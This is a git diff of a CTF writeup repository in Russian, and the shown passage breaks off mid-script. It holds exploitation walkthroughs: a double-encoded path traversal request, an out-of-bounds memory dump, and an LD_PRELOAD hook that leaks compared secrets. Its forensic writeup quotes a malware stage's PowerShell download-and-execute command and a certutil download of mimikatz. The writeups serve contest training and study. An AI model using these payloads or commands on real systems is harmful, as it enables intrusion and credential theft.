b/GAME/printer/WRITEUP.md new file mode 100644 index 0000000..d8362de --- /dev/null +++ b/GAME/printer/WRITEUP.md @@ -0,0 +1,39 @@ +# Printer — разбор решения + +## Разведка +- Главная страница `/` показывает список файлов в очереди печати. +- Роут `/jobs/preview?file=...` отдаёт файл из `data/queue`. +- В очереди есть `readme.txt`, где подсказаны каталоги `/data/notes` и `/data/queue`. + +## Уязвимость +В `/jobs/preview` путь для чтения строится так: +1) `once = decodeURIComponent(raw)` +2) Проверка `once.includes('..')` +3) `p = decodeURIComponent(once)` (возможен и третий decode) +4) `path.join(QUEUE_DIR, p)` + +Проверка на `..` делается только после первого декодирования. Если закодировать точки дважды, первая проверка их не увидит, а после второго decode появится `..` и сработает обход в `../`. + +## Эксплуатация +Дважды кодируем `..` и `/`: +- `..` → `%2e%2e` → `%252e%252e` +- `/` → `%2f` → `%252f` + +Запрос: +``` +/jobs/preview?file=%252e%252e%252fnotes%252fflag.txt +``` + +Промежуточные преобразования: +- после первого decode: `%2e%2e%2fnotes%2fflag.txt` (нет `..`) +- после второго decode: `../notes/flag.txt` + +`path.join` формирует путь `data/queue/../notes/flag.txt`, что приводит к чтению флага. + +## Результат +Ответ содержит содержимое `flag.txt`, включая флаг: +``` +caplag{chain_m_printer_traversa} +PRINTER_PROOF=printer-proof-3d3130 +GAME_code=Printer-1s-down-move-next +``` diff --git a/GAME/router/README.md b/GAME/router/README.md new file mode 100644 index 0000000..89ee843 --- /dev/null +++ b/GAME/router/README.md @@ -0,0 +1,22 @@ +TechnicalTroubles | Web | Easy + +## Автор +instanc3:@instanc3 + +## Информация для участников +Опять какие-то неполадки, когда сайт так нужен. Может смогу найти обходной путь, если заглянуть с изнанки. + +## Решение +1. Пройти на страницу "Routers" +2. Указываем в поле ввода модель роутера, которую получили из игры. В ответ приходит сообщение, что на сайте технические работы в определенное время. +3. Заходим в инструменты разработчика и наблюдаем, что в запросе имеется кастомный заголовок "X-Send-Time", который содержит текущее время участника. +4. Необходимо указать в этом заголовке время, которое не попадает под время технического обслуживания. +5. После успешного подбора времени придет ответ от сервера, что у нас неверный UserAgent ("Incorrect User-Agent. Hint: SHA256(/ ( ; ) /) == {}"). +6. Данные для заполнения UserAgent необходимо найти во внутриигровом браузере. Информация расбросана по параметрам системы и браузера. +8. После успешного подбора участник получит флаг и код, который необходимо ввести в игре. + +## Флаг +`caplag{4r!eNd_@m0ng_$tranGer$}` + +## Код для игры +`SVC-2025-7438382` \ No newline at end of file diff --git a/HiddenLayer-Stegano/README.md b/HiddenLayer-Stegano/README.md new file mode 100644 index 0000000..35faecc --- /dev/null +++ b/HiddenLayer-Stegano/README.md @@ -0,0 +1,13 @@ +## Информация для участников +Вы обнаружили загадочное изображение layered_code.png, которое, по слухам, скрывает секретный флаг. Раскройте тайну, спрятанную в его пикселях! Формат флага: caplag{...} +Порядок цвета может быть не таким, как вы привыкли видеть. + +## Выдать участникам +- `public/layered_code.png` + +## Решение +Решение с помощью stegsolve: [solve/solve with stegsolve.jpg](solve/solve with stegsolve.jpg) + +## Флаг +`caplag{D0g3C01n_2Th3M00n}` + diff --git a/HiddenLayer-Stegano/solve/solve with stegsolve.png b/HiddenLayer-Stegano/solve/solve with stegsolve.png new file mode 100644 index 0000000..388c687 Binary files /dev/null and b/HiddenLayer-Stegano/solve/solve with stegsolve.png differ diff --git a/Imposter-Forensic/writeup.md b/Imposter-Forensic/writeup.md new file mode 100644 index 0000000..6ba453e --- /dev/null +++ b/Imposter-Forensic/writeup.md @@ -0,0 +1,55 @@ +## Q1) Укажите версию установленного Microsoft Office + +1) Проверили файл `C:\Program Files (x86)\Microsoft Office\Office12\WINWORD.EXE`. +2) Из PE‑ресурса `FileVersion/ProductVersion` получил версию. + +Итог: `caplag{12.0.4518.1014}` + +## Q2) Определите начальный вектор атаки. Укажите почту, откуда пришел вирусный файл и название файла (с расширением). формат: email_filename + +1) В профиле Thunderbird открыли письмо: `C:\Users\PC31\AppData\Roaming\thunderbird\Profiles\g59pkejj.default-release\Mail\Local Folders\mail.eml`. +2) В заголовках письма: `From: "HR Department" `. +3) Во вложениях письма: `filename="shtatnoe-raspisanie.xlsm"`. + +Итог: `caplag{hr@gdhwiXzuedhi.org_shtatnoe-raspisanie.xlsm}` + +## Q3) Укажите ссылку, которая использовалась для загрузки и запуска второй стадии атаки + +1) Открыли `C:\Users\PC31\Documents\shtatnoe-raspisanie.xlsm`. +2) `olevba` показал `Workbook_Open`, где строка дважды декодируется из base64. +3) После декодирования получен URL: `https://pastebin.com/raw/hz2rEByR`, который передается в `powershell.exe -c IEX (New-Object Net.WebClient).DownloadString(...)`. + +Итог: `caplag{https://pastebin.com/raw/hz2rEByR}` + +## Q4) Через Reverse shell хакер скачал еще один вредоносный файл для третей стадии атаки. Укажите URL + +1) Открыли кеш загрузок CryptoAPI: `C:\Users\PC31\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5E417CD142DEC44E17C581F01DB81204`. +2) Внутри файла в UTF‑16LE хранится полный URL загрузки архива. + +Итог: `caplag{https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip}` + +## Q5) Укажите полный путь к архиву где лежит mimikatz и название программы (c расширением) с помощью которой хакер скачал его. формат: Path_filename + +1) В `C:\Windows\Prefetch\CERTUTIL.EXE-79A712E5.pf` (после распаковки MAM/LZXPRESS‑Huffman) в списке ссылок указаны файлы: + - `C:\Users\PC31\AppData\Local\Temp\.settings.zip` + - `C:\Windows\SysWOW64\certutil.exe` +2) Это подтверждает, что архив с mimikatz сохранен как `.settings.zip`, а скачивание выполнено `certutil.exe`. + +Итог: `caplag{C:\Users\PC31\AppData\Local\Temp\.settings.zip_certutil.exe}` + +## Q6) Укажите полную дату последнего запуска certutil.exe и кол-во запусков этой программы. формат: дд.мм.гггг/чч:мм:cc_count. + +1) В `C:\Windows\Prefetch\CERTUTIL.EXE-79A712E5.pf` распаковали MAM‑блок (LZXPRESS‑Huffman). +2) В распакованном файле: + - `last_run_time` (FILETIME) находится по смещению `0x80` → `2025‑06‑30 12:18:36Z` (UTC). + - `run_count` (DWORD) по смещению `0xC8` → `1`. +3) Перевод в локальное время (UTC+3) дает `30.06.2025 15:18:36`. + +Итог: `caplag{30.06.2025/15:18:36_1}` + +## Q7) Укажите сайт который пользователь посетил больше всего + +1) История браузера пользователя находится в Edge: `C:\Users\PC31\AppData\Local\Microsoft\Edge\User Data\Default\History`. +2) В SQLite‑таблице `urls` максимальный `visit_count` у страниц домена `unisender.com`. + +Итог: `caplag{https://www.unisender.com}` diff --git a/Jira/writeup.md b/Jira/writeup.md new file mode 100644 index 0000000..d276111 --- /dev/null +++ b/Jira/writeup.md @@ -0,0 +1,29 @@ +# Jira: CVE-2025-22157 - обход контроля доступа при Print/Export + +## Сценарий +Была развернута уязвимая версия Jira. Для каждого стажера создали sub-task, к которому у него не было прав. Через уязвимость он мог увидеть название (`summary`) и ссылку на эту подзадачу, выполнив Print или Export Word у родительской задачи. + +## Суть уязвимости +CVE-2025-22157 описывает утечку данных при печати/экспорте. Пользователь без доступа к подзадаче может получить ее `summary` и ссылку из результата Print/Export родительской задачи. Это не "захват админки", а обход контроля доступа на уровне экспорта. + +## Проверка версии +1. Administration -> System -> System info (или About Jira). +2. Версии 9.12.0-9.12.19 уязвимы. Например, 9.12.18 попадает в диапазон. + +## Шаги воспроизведения +1. Создать родительскую задачу и sub-task, ограничить доступ к sub-task. +2. Зайти под пользователем без прав. +3. Выполнить Print или Export Word у родительской задачи. +4. В результате будет виден `summary` и ссылка на sub-task. + +## Влияние +- Утечка метаданных закрытых задач. +- Раскрытие структуры проекта и активности. + +## Митигирование +- Обновить Jira до версии с фиксом. +- Временно ограничить Print/Export для ролей без доступа к подзадачам. + +## Источники +- Atlassian Jira advisory по CVE-2025-22157 +- Atlassian Documentation (диапазон версий) diff --git a/MEGA-router/writeup_tasks_1_2.md b/MEGA-router/writeup_tasks_1_2.md new file mode 100644 index 0000000..86443cb --- /dev/null +++ b/MEGA-router/writeup_tasks_1_2.md @@ -0,0 +1,78 @@ +# Разбор решения MEGA-router: задачи 1 и 2 + +Ниже разбор решения первых двух задач. Сначала общий вход (как получить бинарник), затем отдельно по каждому флагу. + +## Общий вход: утечка бинарника через /ping + +- Авторизация не нужна: `logged_in()` просто проверяет, что в Cookie есть и `username=`, и `password=`; значения не важны (`challenge/src/server_http.hpp`). Альтернатива — дефолтные креды `admin/admin` или `admin/admin888` (`challenge/src/server.cpp`). +- `/ping?id=...` читает 4096 байт из `Global.BUFFER + offset*4096` без проверки границ и отдает base64 (`challenge/src/server.cpp`). Падение дочернего процесса дает пустой `result`, сервер не падает. +- Зацепка: зайти на `/portal` с любыми Cookie `username=...; password=...` и открыть `main.js` — там видно, что клиент делает `POST /ping` и затем многократные `GET /ping?id=...`, то есть это ключевая точка. +- Так как `offset` — беззнаковый и `-` запрещен, читаем «назад» через переполнение: `4096 = 2^12`, значит `2^64/4096 = 2^52`. Берем `offset = 2^52 - N`, получаем адрес `BUFFER - N*4096`. Этим выходим на `.text`/`.rodata` и находим ELF. +- Минимальный запрос, который дает первую зацепку в ответе (base64-кусок памяти) и позволяет начать сканировать ELF: + +``` +GET /ping?id=4503599627370495 HTTP/1.1 +Host: :31337 +Cookie: username=a; password=b +``` +- Дальше — обычный дамп страниц и склейка в файл; можно искать строку `ELF` или специфичные строки вида `/giv_me_please_flag_...`. + +## Задача 1 (Flag 1) + +- В бинарнике виден скрытый эндпоинт `"/giv_me_please_flag_nu_ochen_nado"` (`challenge/src/server.cpp`). +- Делаем GET на него, ответ — редирект на `/index` с заголовком `Flag: `. Декодируем base64. +- Дешифрование: байты зашифрованы `ROTR3` после XOR с `(i*4 + 0xc0)`. Значит, для каждого байта: `ROTL3`, затем XOR. + +```python +import base64 + +def rotl8(x, n): + return ((x << n) | (x >> (8 - n))) & 0xff + +cipher = base64.b64decode(flag_header) +plain = bytes( + rotl8(b, 3) ^ ((i * 4 + 0xC0) & 0xff) + for i, b in enumerate(cipher) +) +print(plain.decode()) +``` + +- Итоговый флаг: `caplag{r0ut3r_p0rtals_ar3_ult1mat3ly_imp3n3trabl3_b3caus3_th3y_ar3_r3al_w3bapp}`. + +## Задача 2 (Flag 2) + +- В логике `/login` видно, что для юзера `hoEjB9OtHLCuDibAT6Ag` вызывается `gen_flag`, но он защищен длинной подстрокой и MD5 (прямой вызов нецелесообразен) (`challenge/src/server.cpp`). +- В `gen_flag` видно массив `flag_byte_offsets[]` и схему: берется `pi_bytes.bin` (2048 байт, соответствуют позициям 1_000_000..1_002_047), а флаг строится как `bytes[offset - 1_000_000]`. +- Поэтому нужно: (1) вытащить `flag_byte_offsets[]` из слитого бинарника; (2) сгенерировать байты π для диапазона 1_000_000..1_002_047. Функция `get_byte` — это две hex‑цифры π подряд. Быстро считается через BBP (как в `#ifdef DEBUG` части, `challenge/src/server.cpp`). + +```python +def pi_hex_digit(n): + n -= 1 + def series(m): + s = 0.0 + for k in range(n + 1): + ak = 8 * k + m + s = (s + pow(16, n - k, ak) / ak) % 1.0 + k = n + 1 + t = 1.0 + while True: + ak = 8 * k + m + t /= 16.0 + term = t / ak + if term < 1e-17: + break + s = (s + term) % 1.0 + k += 1 + return s + x = (4*series(1) - 2*series(4) - series(5) - series(6)) % 1.0 + return int(x * 16) + +def get_byte(pos): + return (pi_hex_digit(pos) << 4) | pi_hex_digit(pos + 1) + +pi_bytes = [get_byte(p) for p in range(1_000_000, 1_002_048)] +flag = ''.join(chr(pi_bytes[o - 1_000_000]) for o in offsets) +print(flag) +``` + +- Итоговый флаг: `caplag{leibniz_david_bailey_peter_b0rwein_and_sim0n_pl0uffe_good_idea_guys_00}`. diff --git a/Marathon-PPC/README.md b/Marathon-PPC/README.md new file mode 100644 index 0000000..e2511d4 --- /dev/null +++ b/Marathon-PPC/README.md @@ -0,0 +1,8 @@ +## Информация для участников +> Каждый уважающий себя CTFер обязан решать 150 примеров за 10 секунд + +## Решение +Готовый скрипт: [solve/solve.py](solve/solver.py). + +## Флаг +`caplag{There_1s_n0thing_m0re_1mp0rtant_f0r_pract1ce_than_g00d_the0ry}` diff --git a/Marathon-PPC/solve/solver.py b/Marathon-PPC/solve/solver.py new file mode 100644 index 0000000..a9087a5 --- /dev/null +++ b/Marathon-PPC/solve/solver.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + + +import sys +import os +import math +import socket +from typing import List, Tuple + + +def fib_fast(n: int) -> int: + def f(k: int) -> Tuple[int, int]: + if k == 0: + return (0, 1) + a, b = f(k >> 1) + c = a * (2 * b - a) + d = a * a + b * b + if k & 1: + return (d, c + d) + else: + return (c, d) + return f(n)[0] + + +def arith_sum(a: int, b: int, s: int) -> int: + + n = (b - a) // s + 1 + return n * (a + b) // 2 + + +def integral_poly(a: int, b: int, coeff: List[int]) -> int: + + res = 0 + for k, c in enumerate(coeff): + e = k + 1 + if c % e != 0: + raise ValueError("Non-integer term encountered; protocol assumption violated") + ce = c // e + res += ce * (pow(b, e) - pow(a, e)) + return res + + +def eval_expr(expr: str) -> int: + t = expr.strip().split() + if not t: + raise ValueError("Empty expression") + op = t[0] + + def i(x: str) -> int: + return int(x) + + if op == "plus": + return i(t[1]) + i(t[2]) + if op == "minus": + return i(t[1]) - i(t[2]) + if op == "times": + return i(t[1]) * i(t[2]) + if op == "div": + a, b = i(t[1]), i(t[2]) + return a // b + if op == "mod": + a, b = i(t[1]), i(t[2]) + return a % b + if op == "pow": + a, b = i(t[1]), i(t[2]) + return pow(a, b) + if op == "sqrt": + a = i(t[1]) + r = math.isqrt(a) + return r + if op == "abs": + return abs(i(t[1])) + if op == "fact": + return math.factorial(i(t[1])) + if op == "gcd": + return math.gcd(i(t[1]), i(t[2])) + if op == "lcm": + a, b = i(t[1]), i(t[2]) + g = math.gcd(a, b) + return a // g * b + if op == "det2": + a, b, c, d = i(t[1]), i(t[2]), i(t[3]), i(t[4]) + return a * d - b * c + if op == "det3": + a, b, c = i(t[1]), i(t[2]), i(t[3]) + d, e, f = i(t[4]), i(t[5]), i(t[6]) + g, h, j = i(t[7]), i(t[8]), i(t[9]) + return a * (e * j - f * h) - b * (d * j - f * g) + c * (d * h - e * g) + if op == "sum": + if t[3] != "step": + raise ValueError("Expected 'step' in sum expression") + a, b, s = i(t[1]), i(t[2]), i(t[4]) + return arith_sum(a, b, s) + if op == "fib": + return fib_fast(i(t[1])) + if op == "lin1": + a, b, c = i(t[1]), i(t[2]), i(t[3]) + return (c - b) // a + if op == "lin2x": + a1, b1, c1, a2, b2, c2 = i(t[1]), i(t[2]), i(t[3]), i(t[4]), i(t[5]), i(t[6]) + D = a1 * b2 - a2 * b1 + return (c1 * b2 - c2 * b1) // D + if op == "lin2y": + a1, b1, c1, a2, b2, c2 = i(t[1]), i(t[2]), i(t[3]), i(t[4]), i(t[5]), i(t[6]) + D = a1 * b2 - a2 * b1 + return (a1 * c2 - a2 * c1) // D + if op == "integral": + a, b = i(t[1]), i(t[2]) + if t[3] != "poly": + raise ValueError("Expected 'poly' in integral expression") + coeff = list(map(int, t[4:])) + return integral_poly(a, b, coeff) + + raise ValueError(f"Unknown operator: {op}") + + +def run(host: str, port: int): + with socket.create_connection((host, port)) as sock: + sock_file = sock.makefile("rwb", buffering=0) + pending = None # (expr_str, answer) + while True: + line = sock_file.readline() + if not line: + break + try: + s = line.decode().rstrip("\r\n") + except Exception: + continue + print(f"[SRV] {s}") + + if s.startswith("Task ") and ":" in s: + try: + expr = s.split(":", 1)[1].strip() + except Exception: + expr = "" + ans = eval_expr(expr) + pending = (expr, ans) + print(f"[SOLVE] {expr} => {ans}") + continue + + if s.strip().startswith(">") and pending is not None: + print(f"[SEND] {pending[1]}") + ans_bytes = str(pending[1]).encode() + b"\n" + sock_file.write(ans_bytes) + sock_file.flush() + pending = None + continue + + if "Here is your flag:" in s or s.endswith("Bye."): + print(s) + continue + + +def main(): + host = sys.argv[1] if len(sys.argv) >= 2 else os.getenv("HOST", "127.0.0.1") + port = int(sys.argv[2]) if len(sys.argv) >= 3 else int(os.getenv("PORT", "5000")) + run(host, port) + + +if __name__ == "__main__": + main() diff --git a/MetamorphicCore-Reverse/README.md b/MetamorphicCore-Reverse/README.md new file mode 100644 index 0000000..d0d9b9e --- /dev/null +++ b/MetamorphicCore-Reverse/README.md @@ -0,0 +1,12 @@ +## Информация для участников +> MCVM - Metamorphic Core Virtual Machine наша новейшая разработка. +Попытай свои силы, реверсер! ;) + +## Выдать участникам +public/MetamorphicCore.exe + +## Решение +райтап лежит в solve/writeup.md + +## Флаг +`caplag{6ed9095fc6d38efbdea82031d16150c1b80c16cd641a135f117bdc411dbba68a}` diff --git a/MetamorphicCore-Reverse/solve/writeup.md b/MetamorphicCore-Reverse/solve/writeup.md new file mode 100644 index 0000000..6a67105 --- /dev/null +++ b/MetamorphicCore-Reverse/solve/writeup.md @@ -0,0 +1,289 @@ +# Writeup: Metamorphic Core Crackme + +## **Используемые инструменты** +- **DnSpy** +- **Detect It Easy** +- **UPX** +- **ExtremeDumper** +- **.NET Reactor Slayer** + +--- + +## **Шаг 1. UPX упаковка** + +Загружаем файл в **Detect It Easy** и видим, что он упакован **UPX**. +Попытка распаковать через `upx.exe -d ` неудачна — заголовок повреждён. + +Открываем бинарь в **Hex Editor** и сравниваем заголовок с эталонным. +Находим строку `MCVM` вместо `UPX0`. Исправляем байты на **UPX0** и успешно распаковываем через `upx -d`. + +--- + +## **Шаг 2. Native-загрузчик .NET Reactor** + +Повторная проверка в **Detect It Easy** показывает: код нативный, обфусцирован **.NET Reactor**. +Это значит, что бинарь упакован в **native loader**. + +Открываем EXE в **DnSpy (32-bit)** и запускаем. На точке **CreateProcess** видно, что процесс распакован и висит в памяти. +Используем **ExtremeDumper** → находим `task.exe` → делаем дамп. Получаем два файла: +- **_.dll** +- **VmHost.exe** + +--- + +## **Шаг 3. Деобфускация .NET Reactor** + +Открываем **VmHost.exe** в **DnSpy** или **Detect It Easy** — видим сильную обфускацию. +Запускаем **.NET Reactor Slayer**, выбираем все опции и запускаем деобфускацию. + +Теперь бинарь читаем и доступен для отладки. + +--- + +## **Шаг 4. Отладка VM** + +Открываем **VmHost.exe** в **DnSpy**. +Ставим брейкпоинт в произвольном месте и смотрим окно **Local Variables**. + +Видим переменные: +- **this.dictionary_*** +- **this.list_*** +- **this.stack_*** +- **this.object_*** + +Здесь хранятся строки с именами функций виртуальной машины: **SHA256**, **ExitProcess**, **sha256_hex**, **tohex** и др. +Значит, вызовы идут через опкод **CALL** в VM. + +--- + +## **Шаг 5. Поиск вызовов функций** + +Находим функцию, отвечающую за вызов методов: + +```csharp +private void method_3(int int_3, int int_4) + { + Class3.Struct0 @struct; + for (;;) + { + IL_177: + @struct = this.struct0_0[int_3]; + int num = 0; <-------------------------- Тут ставим брейкпоинт + if ({3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_b53c11d96ca540509b6b9be7f90e8419 != 0) + { + goto IL_F4; + } + Class3.Struct1 struct2; + for (;;) + { + IL_123: + int num2; + switch (num) + { + case 0: + goto IL_B5; + case 1: + goto IL_F4; + case 2: + goto IL_177; + case 3: + case 4: + goto IL_A0; + case 5: + num2--; + num = 2; + if ({3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_656fb7edff9a4bc3a280e41bdde428a0 != 0) + { + goto IL_A0; + } + continue; + case 6: + goto IL_6B; + case 7: + goto IL_D4; + case 8: + goto IL_197; + case 9: + goto IL_4F; + case 10: + return; + case 11: + goto IL_44; + case 12: + goto IL_62; + case 13: + goto IL_47; + case 14: + num2 = @struct.int_1 - 1; + num = 0; + if ({3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_9fc4e4f74325466da9db2cc7afcf1357 == 0) + { + goto IL_A0; + } + continue; + case 15: + goto IL_1B4; + case 16: + goto IL_30; + case 17: + break; + default: + goto IL_B5; + } + IL_06: + struct2.object_0[num2] = this.stack_0.Pop(); + num = 5; + if ({3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_61742430ed914e4ca05833d60e3db39b == 0) + { + break; + } + continue; + IL_A0: + if (num2 >= 0) + { + goto IL_06; + } + num = 0; + if ({3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_4090cbdba33d4db1ba74b2a9eac02aa1 == 0) + { + continue; + } + IL_B5: + this.stack_1.Push(struct2); + num = 3; + if ({3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_fe002c72199d46f0b4a52d0c2bff689e == 0) + { + goto Block_4; + } + } + continue; + IL_30: + Class3.Struct1 struct3; + struct2 = struct3; + num = 14; + if ({3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_0425df13f0c045d99d31a6db275fbd9e == 0) + { + goto IL_44; + } + goto IL_123; + IL_6B: + struct3.int_1 = 0; + num = 3; + if ({3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_d940aa626e044e7a9f22554ba2f6bb07 == 0) + { + goto IL_30; + } + goto IL_123; + IL_62: + int num3; + struct3.int_0 = num3; + goto IL_6B; + IL_4F: + struct3.object_0 = new object[@struct.int_2]; + goto IL_62; + IL_47: + struct3 = default(Class3.Struct1); + goto IL_4F; + IL_45: + int num4; + num3 = num4; + goto IL_47; + IL_D4: + num4 = this.int_0; + goto IL_45; + IL_F4: + if (int_4 != @struct.int_1) + { + goto Block_6; + } + if (this.stack_1.Count != 0) + { + goto IL_D4; + } + num = 4; + if ({3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_b0871c76b442400c9823273656177106 == 0) + { + goto IL_123; + } + IL_44: + num4 = -1; + goto IL_45; + } + Block_4: + goto IL_1B4; + Block_6: + IL_197: + throw new Exception(Class5.smethod_17(656) + @struct.string_0); + IL_1B4: + this.int_0 = @struct.int_0; + } +``` +В локальной переменной **@struct** появляются названия функций, которые будут выполняться. + +Здесь видим вызов **exists**, и в **object_0** лежит строка: +``` +C:\Users\user\AppData\Local\Temp\.password\metamorphic.core +``` +Значит, программа требует этот файл. Создаём его с любыми данными: +``` +test1 +test2 +test3 +``` + +## **Шаг 6. Работа с файлом** + +Перезапускаем отладку. Теперь программа не падает, т.к. файл найден. +Следующий вызов — **"read_all_ascii"**. В **object_0** появляются строки из файла. + +Затем вызываются **slice** и вспомогательные функции, которые берут первые две строки. +После вызывается **abort**, и программа завершается. + +## **Шаг 7. Проверка условий (IF)** + +Ищем в коде VM функции условий IF: + +```csharp +[CompilerGenerated] +private bool method_21(object object_2, object object_3) +{ + return this.method_8(object_2, object_3); // Equals +} + +[CompilerGenerated] +private bool method_22(object object_2, object object_3) +{ + return !this.method_8(object_2, object_3); // Equals +} +``` +Ставим брейкпоинты и видим сравнение строк: +```csharp +object_2 = "test1" +object_3 = "MetamorphicVirtualMachine" +``` +Значит, первая строка файла должна быть MetamorphicVirtualMachine. + +## **Шаг 8. XOR-дешифровка второй строки** + +Дальше вызывается функция **xorstr**. +В **object_0** лежит строка **+)8$)/e%+':-zxz}** и ключ **0x48**. + +Расшифровка XOR даёт строку: +``` +caplag-mcore2025 +``` +Эта строка сравнивается со второй строкой файла. + +Итого, правильное содержимое файла **metamorphic.core**: +``` +Metamorphic Core :: crackme +Привет: DESKTOP-6IRVEAN, user user +OK: заголовки валидны +caplag{6ed9095fc6d38efbdea82031d16150c1b80c16cd641a135f117bdc411dbba68a} +Готово +``` + +✅ Флаг: +``` +caplag{6ed9095fc6d38efbdea82031d16150c1b80c16cd641a135f117bdc411dbba68a} +``` diff --git a/Old new-MiscOSINT/README.md b/Old new-MiscOSINT/README.md new file mode 100644 index 0000000..19d8b59 --- /dev/null +++ b/Old new-MiscOSINT/README.md @@ -0,0 +1,14 @@ +## Информация для участников +В ходе наблюдения за объектом была получена видеозапись. По кадру с видео определи, что объединяет все эти данные и где искать объект. +Формат флага: caplag{Grid Reference, NaPTAN: ATCOCode}. + +## Выдать участникам +Фото для участников: public/f2eri07uh.PNG + +## Решение +По формату флага понятно, что речь идет о UK. По полученному списку с фото понять (нагуглить, ИИ), что это обозначение рейсов ЖД маршрутов в UK с временем отправления (например, тут realtimetrains.co.uk). Найти нужные маршруты следования поезда и понять, что все они проезжают через станцию в York (станция York одна есть во всех 7ми маршрутах). Идем на openrailwaymap.app и ищем станцию, жмем View и видим naptan:AtcoCode (часть флага), тут же переходим по ссылке wikidata и там ищем OS grid reference или ищем grid как угодно. +https://gridreferencefinder.com/ + + +## Флаг +caplag{SE596517, 9100YORK} diff --git a/ProcessHunter-Admin/README.md b/ProcessHunter-Admin/README.md new file mode 100644 index 0000000..d334b4a --- /dev/null +++ b/ProcessHunter-Admin/README.md @@ -0,0 +1,17 @@ +## Информация для участников +Вы — системный администратор Linux-сервера без графического интерфейса. На сервере запущено множество фоновых процессов. Среди них скрыт ключ для расшифровки зашифрованного(Файл зашифрован стандартным инструментом Linux для AES) флага (flag.enc). Ваша задача — написать скрипт (на bash, sh или Python), чтобы идентифицировать нужный процесс, извлечь ключ и декодировать флаг. Флаг в формате caplag{...}. + +## Выдать участникам +- `public/CTF_Admin_Medium.ova` - виртуальный образ VM +**Данные от VM**: +Логин: ctfuser +Пароль: ctfuser + +## Решение +1) Загружаем виртуальную машину +2) Запускаем скрипт для решения: [solve/solve.sh](solve/solve.sh) +3) скрипт формирует decoded_flag.txt + +## Флаг +`caplag{CTF_1s_Jus7_L3g4l_H4ck1ng}` + diff --git a/ProcessHunter-Admin/solve/solve.sh b/ProcessHunter-Admin/solve/solve.sh new file mode 100644 index 0000000..c11f425 --- /dev/null +++ b/ProcessHunter-Admin/solve/solve.sh @@ -0,0 +1,19 @@ +#!/bin/bash + +# 1. Найти процесс, где в окружении есть KEY +for pid in $(ps -e -o pid=); do + if strings /proc/$pid/environ 2>/dev/null | grep -q 'KEY='; then + KEY=$(strings /proc/$pid/environ 2>/dev/null | grep 'KEY=' | head -n1 | cut -d= -f2-) + echo "Found KEY in PID $pid" + break + fi +done + +[ -z "$KEY" ] && { echo "KEY not found"; exit 1; } + +# 2. Расшифровать flag.enc +openssl enc -aes-256-cbc -d -salt -pbkdf2 -iter 100000 \ + -in flag.enc -out decoded_flag.txt \ + -pass pass:"$KEY" + +cat decoded_flag.txt diff --git a/README.md b/README.md new file mode 100644 index 0000000..9ddc764 --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +# Kubok-Regionov + +Райтапы для заданий с Кубка Регионов, проходившего с 20.12.2025.21.12.2025 \ No newline at end of file diff --git a/ReverseConveyor-PPC/README.md b/ReverseConveyor-PPC/README.md new file mode 100644 index 0000000..053e21d --- /dev/null +++ b/ReverseConveyor-PPC/README.md @@ -0,0 +1,13 @@ +## Информация для участников +> Каждый запуск ReverseConveyor — как смена на ночном заводе + +## Выдать участникам +Удалённый сервис: `http://:8080`. +(Дополнительных файлов не требуется.) + +## Решение +Основная идея — реверснуть все 4 крякми, найти закономерность, понять паттерн (крякми каждый раз одинаковые - пароли разные). Автоматически достать секреты: перехватить `strcmp`/`memcmp` через `LD_PRELOAD`, извлечь случайные байты и отправить правильный ответ. +Готовый скрипт: [solve/auto_solve.py](solve/auto_solve.py). + +## Флаг +`caplag{1_L0v3_R3V3rs3_3sp3C1411Y_4Ut0M4t10N}` diff --git a/ReverseConveyor-PPC/solve/auto_solve.py b/ReverseConveyor-PPC/solve/auto_solve.py new file mode 100644 index 0000000..f545a51 --- /dev/null +++ b/ReverseConveyor-PPC/solve/auto_solve.py @@ -0,0 +1,270 @@ +#!/usr/bin/env python3 +""" +Usage: + python3 auto_solve.py --url <...> +""" + +import argparse +import json +import os +import re +import subprocess +import sys +import tempfile +import urllib.request +import zipfile +from pathlib import Path, PurePosixPath +from stat import S_IXUSR, S_IXGRP, S_IXOTH + +HOOK_SOURCE = r""" +#define _GNU_SOURCE +#include +#include +#include +#include + +typedef int (*strcmp_t)(const char *, const char *); +typedef int (*memcmp_t)(const void *, const void *, size_t); + +static __thread int rc_in_hook = 0; + +int strcmp(const char *s1, const char *s2) { + static strcmp_t real_strcmp = NULL; + if (!real_strcmp) { + real_strcmp = (strcmp_t)dlsym(RTLD_NEXT, "strcmp"); + } + if (!rc_in_hook && s2) { + rc_in_hook = 1; + dprintf(2, "[RC_HOOK_STR] secret=%s\n", s2); + rc_in_hook = 0; + } + return real_strcmp(s1, s2); +} + +int memcmp(const void *s1, const void *s2, size_t n) { + static memcmp_t real_memcmp = NULL; + if (!real_memcmp) { + real_memcmp = (memcmp_t)dlsym(RTLD_NEXT, "memcmp"); + } + if (!rc_in_hook && s2 && n <= 1024) { + rc_in_hook = 1; + dprintf(2, "[RC_HOOK_MEM] len=%zu data=", n); + const unsigned char *p = (const unsigned char *)s2; + for (size_t i = 0; i < n; ++i) { + dprintf(2, "%02x", p[i]); + } + dprintf(2, "\n"); + rc_in_hook = 0; + } + return real_memcmp(s1, s2, n); +} +""" + +MEM_RE = re.compile(r"\[RC_HOOK_MEM\]\s*len=(\d+)\s+data=([0-9a-fA-F]+)") +STR_RE = re.compile(r"\[RC_HOOK_STR\]\s*secret=(.+)") +DEFAULT_URL = os.environ.get("RC_URL", "URL") + + +def normalize_member_name(name: str) -> str: + return PurePosixPath(name).name + + +def request_archive(base_url: str, target_dir: Path) -> tuple[str, Path, list[str]]: + url = base_url.rstrip('/') + '/generate' + req = urllib.request.Request(url, data=b'', method='POST') + try: + with urllib.request.urlopen(req) as resp: + data = resp.read() + cookies = resp.headers.get_all('Set-Cookie') or [] + except urllib.error.HTTPError as exc: + raise RuntimeError(f"/generate failed: {exc.read().decode(errors='ignore')}") from exc + + session_id = None + for cookie in cookies: + parts = cookie.split(';') + for part in parts: + part = part.strip() + if 